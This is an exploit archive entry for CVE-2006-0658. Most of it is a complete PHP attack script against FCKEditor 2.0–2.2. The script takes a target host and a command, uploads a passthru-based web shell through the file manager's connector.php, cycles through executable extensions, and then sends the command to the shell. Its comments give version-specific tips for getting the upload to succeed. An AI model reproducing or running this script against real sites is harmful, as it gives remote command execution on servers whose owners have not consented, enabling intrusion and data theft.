FCKEditor 2.0 < 2.2 - 'FileManager connector.php' Arbitrary File Upload

Related Vulnerabilities: CVE-2006-0658  
Publish Date: 09 Feb 2006
Author: rgod
                							

                &lt;?php
#  ---fckeditor_22_xpl.php                              15.38 04/12/2005       #
#                                                                              #
#                       FCKEditor 2.0 &lt;= 2.2 shell upload                      #
#                              coded by rgod                                   #
#                     site: http://retrogod.altervista.org                     #
#                                                                              #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  Sun-Tzu: "Security against defeat implies defensive tactics; ability to     #
#  defeat the enemy means taking the offensive"                                #

/* -&gt; a short explaination: if a user cam call directly

      http://[target]/[path]/editor/filemanager/browser/default/connectors/php/connector.php

      he can upload malicious contempt on a target server, including arbitrary
      php code, and launch commands on it

      this works when php connector is enabled in config.php and when, ex.,
      in Apache httpd.conf "AddType application/x-httpd-php" directive we have
      an extension not specified in FCKEditor Config[DeniedExtensions][File]
      array.

      However, FCKeditor is integrated in a lot of applications, and if you
      succeed to upload the shell (see details in the output of this script)
      search for a local inclusion issue inside of them and include the uploaded
      file                                                                    */

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);

echo'&lt;html&gt;&lt;head&gt;&lt;title&gt; ******* FCKEditor 2.0 &lt;= 2.2 shell upload**************
&lt;/title&gt;&lt;meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"&gt;
&lt;style type="text/css"&gt; body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--&gt;&lt;/style&gt;&lt;/head&gt;&lt;body&gt;&lt;p class="Stile6"&gt;
 ******* FCKEditor 2.0 &lt;= 2.2 shell upload************** &lt;/p&gt;&lt;p class="Stile6"&gt;a
script  by  rgod  at    &lt;a href="http://retrogod.altervista.org"target="_blank"&gt;
http://retrogod.altervista.org&lt;/a&gt; &lt;/p&gt; &lt;table  width="84%"&gt;&lt;tr&gt;&lt;td width="43%"&gt;
&lt;form name="form1" method="post"   action="'.$_SERVER[PHP_SELF].'"&gt;    &lt;p&gt;&lt;input
type="text"  name="host"&gt; &lt;span class="Stile5"&gt;* target    (ex:www.sitename.com)
&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;input type="text" name="path"&gt;  &lt;span class="Stile5"&gt;* path (ex:
/FCKEditor/ or just / ) &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;input type="text" name="cmd"&gt;       &lt;span
class="Stile5"&gt; * specify a command&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;input type="text" name="port"&gt;
&lt;span class="Stile5"&gt;specify  a  port other than  80 (default value)&lt;/span&gt; &lt;/p&gt;
&lt;p&gt;&lt;input   type="text" name="proxy"&gt;&lt;span class="Stile5"&gt; send  exploit through
an HTTP proxy (ip:port) &lt;/span&gt;  &lt;/p&gt;  &lt;p&gt;  &lt;input   type="submit" name="Submit"
value="go!"&gt;&lt;/p&gt;&lt;/form&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/body&gt;&lt;/html&gt;';

function show($headeri)
{
  $ii=0;$ji=0;$ki=0;$ci=0;
  echo '&lt;table border="0"&gt;&lt;tr&gt;';
  while ($ii &lt;= strlen($headeri)-1){
    $dAtAi=dechex(ord($headeri[$ii]));
    if ($ji==16) {
      $ji=0;
      $ci++;
      echo "&lt;td&gt;&amp;nbsp;&amp;nbsp;&lt;/td&gt;";
      for ($li=0; $li&lt;=15; $li++) {
        echo "&lt;td&gt;".htmlentities($headeri[$li+$ki])."&lt;/td&gt;";
		}
      $ki=$ki+16;
      echo "&lt;/tr&gt;&lt;tr&gt;";
    }
    if (strlen($dAtAi)==1) {
      echo "&lt;td&gt;0".htmlentities($dAtAi)."&lt;/td&gt;";
    }
    else {
      echo "&lt;td&gt;".htmlentities($dAtAi)."&lt;/td&gt; ";
    }
    $ii++;$ji++;
  }
  for ($li=1; $li&lt;=(16 - (strlen($headeri) % 16)+1); $li++) {
    echo "&lt;td&gt;&amp;nbsp&amp;nbsp&lt;/td&gt;";
  }
  for ($li=$ci*16; $li&lt;=strlen($headeri); $li++) {
    echo "&lt;td&gt;".htmlentities($headeri[$li])."&lt;/td&gt;";
  }
  echo "&lt;/tr&gt;&lt;/table&gt;";
}

$pRoXy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //2x speed
{
  global $pRoXy, $host, $port, $pAcKeT, $HtMl, $pRoXy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket &lt; 0) {
    echo "socket_create() failed: reason: " . socket_strerror($socket) . "&lt;br&gt;";
  }
  else {
    $c = preg_match($pRoXy_regex,$pRoXy);
    if (!$c) {echo 'Not a valid prozy...';
    die;
    }
  echo "OK.&lt;br&gt;";
  echo "Attempting to connect to ".$host." on port ".$port."...&lt;br&gt;";
  if ($pRoXy=='') {
    $result = socket_connect($socket, $host, $port);
  }
  else {
    $parts =explode(':',$pRoXy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...&lt;br&gt;';
    $result = socket_connect($socket, $parts[0],$parts[1]);
  }
  if ($result &lt; 0) {
    echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "&lt;br&gt;&lt;br&gt;";
  }
  else {
    echo "OK.&lt;br&gt;&lt;br&gt;";
    $HtMl= '';
    socket_write($socket, $pAcKeT, strlen($pAcKeT));
    echo "Reading response:&lt;br&gt;";
    while ($out= socket_read($socket, 2048)) {$HtMl.=$out;}
    echo nl2br(htmlentities($HtMl));
    echo "Closing socket...";
    socket_close($socket);
  }
  }
}

function sendpacketii($pAcKeT)
{
  global $pRoXy, $host, $port, $HtMl, $pRoXy_regex;
  if ($pRoXy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.htmlentities($host); die;
    }
  }
  else {
	$c = preg_match($pRoXy_regex,$pRoXy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$pRoXy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...&lt;br&gt;';
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$pAcKeT);
  if ($pRoXy=='') {
    $HtMl='';
    while (!feof($ock)) {
      $HtMl.=fgets($ock);
    }
  }
  else {
    $HtMl='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$HtMl))) {
      $HtMl.=fread($ock,1);
    }
  }
  fclose($ock);
  echo nl2br(htmlentities($HtMl));
  }


function refresh()
{
  flush();
  ob_flush();
  usleep(100000);
}
function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$host=$_POST[host];$port=$_POST[port];
$path=$_POST[path];$cmd=$_POST[cmd];
$pRoXy=$_POST[proxy];
echo "&lt;span class=\"Stile5\"&gt;";

if (($host&lt;&gt;'') and ($path&lt;&gt;'') and ($cmd&lt;&gt;''))
{
  $port=intval(trim($port));
  if ($port=='') {$port=80;}
  if (($path[0]&lt;&gt;'/') or ($path[strlen($path)-1]&lt;&gt;'/')) {echo 'Error... check the path!'; die;}
  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  $host=str_replace("\r","",$host);$host=str_replace("\n","",$host);
  $path=str_replace("\r","",$path);$path=str_replace("\n","",$path);

  //modify the shell as you want, this could be written in any language
  //if exploit succeeded we will see phpinfo() even, check for disable_functions
  //if passthru() disabled, try with system(), exec(), popen() or shell_exec()
  $SHELL ="&lt;?php echo chr(72).\"i Master!\";ini_set(\"max_execution_time\",0);error_reporting(0);";
  $SHELL.="phpinfo();passthru(\$HTTP_GET_VARS[cmd]);?&gt;";
  //we try to guess allowed extensions...
  // you should succeed with .php3 for 2.0fc
  //  "     "       "     "  .php  for 2.0rc1
  //  "     "       "     "  .php  for 2.0rc2
  //  "     "       "     "  .php3 for 2.0rc3
  //  "     "       "     "  .pwml for 2.1 (added some restrictions, but maybe
  //                                        this is executable on some machine)
  //  "     "       "     "  .pwml for 2.11
  //  "     "       "     "  .pwml for 2.2
  $extensions= array('.php', '.php3', '.php5', '.phtml','.pwml', '.php4', '.php2', '.inc');
  //add what you want
  //'FileUpload' for versions 2.11 - 2.1 - 2.0rc3 - 2.0rc2 - 2.0rc1 - 2.0fc
  //empty for 2.2
  $upload_command= array('FileUpload','');
  $path_to_shell="/UserFiles/File/"; //default one: if different, script will find it

  for ($x=0; $x&lt;=count($extensions)-1; $x++)
  {
    for ($y=0; $y&lt;=1; $y++)
    {
      # STEP 1 -&gt; Upload the shell
      srand(make_seed());
      $anumber = rand(1,9999);
      $filename="suntzu".$anumber.$extensions[$x];
      $dAtA="-----------------------------7d529a1d23092a\r\n";
      $dAtA.="Content-Disposition: form-data; name=\"NewFile\"; filename=\"$filename\"\r\n";
      $dAtA.="Content-Type:\r\n\r\n";
      $dAtA.="$SHELL\r\n";
      $dAtA.="-----------------------------7d529a1d23092a--\r\n";
      $pAcKeT="POST ".$path."editor/filemanager/browser/default/connectors/php/";
      $pAcKeT.="connector.php?Command=".$upload_command[$y]."&amp;Type=File&amp;CurrentFolder= HTTP/1.1\r\n";
      $pAcKeT.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
      $pAcKeT.="User-Agent: Sun-tzu giving you the pain\r\n";
      $pAcKeT.="Host: ".$host."\r\n";
      $pAcKeT.="Content-Length: ".strlen($dAtA)."\r\n";
      $pAcKeT.="Connection: Close\r\n\r\n";
      $pAcKeT.=$dAtA;
      show($pAcKeT);
      sendpacketii($pAcKeT);
      if (!eregi("200 OK",$HtMl)) {die("Cannot find connector.php...&lt;br&gt;");}
      if (eregi("This connector is disabled",$HtMl)) {echo "Exploit failed... -&gt; php connector not enabled";die;}
      if (eregi("url=\"",$HtMl))
      {
        $temp=explode("url=\"",$HtMl);
        $temp2=explode("\"",$temp[1]);
        $path_to_shell=$temp2[0];
      }
      echo "&lt;br&gt;path where I search shell: ".htmlentities($path_to_shell)."&lt;br&gt;";
      # STEP 2 -&gt; Launch commands...
      #by default a "UserFiles/File/" dir is generated inside site root when you upload
      #files, this dir is not protected by an .htaccess file or whatever
      $pAcKeT="GET ".$path_to_shell.$filename."?cmd=".urlencode($cmd)." HTTP/1.1\r\n";
      $pAcKeT.="User-Agent: GoogleBot/1.1\r\n";
      $pAcKeT.="Host: ".$host."\r\n";
      $pAcKeT.="Connection: Close\r\n\r\n";
      show($pAcKeT);
      sendpacketii($pAcKeT);
      if (eregi("200 OK",$HtMl)) {
                                 if (eregi("Hi Master!",$HtMl))
    			         {echo "Exploit succeeded...&lt;br&gt;";
				  echo "we have a shell in http://".$host.$path_to_shell.$filename."&lt;br&gt;";
				  echo "we should have phpinfo() here, see html...&lt;br&gt;";
			          die;}
                                  else {echo "Successfully uploades...&lt;br&gt;
			                      but is not an executable on target server...&lt;br&gt;";}
                               }
      refresh();
    }

  }
#if you are here...
echo "Exploit failed...";
}
else
{echo "Fill * required fields, optionally specify a proxy...";}
echo "&lt;/span&gt;";
?&gt;

# milw0rm.com [2006-02-09]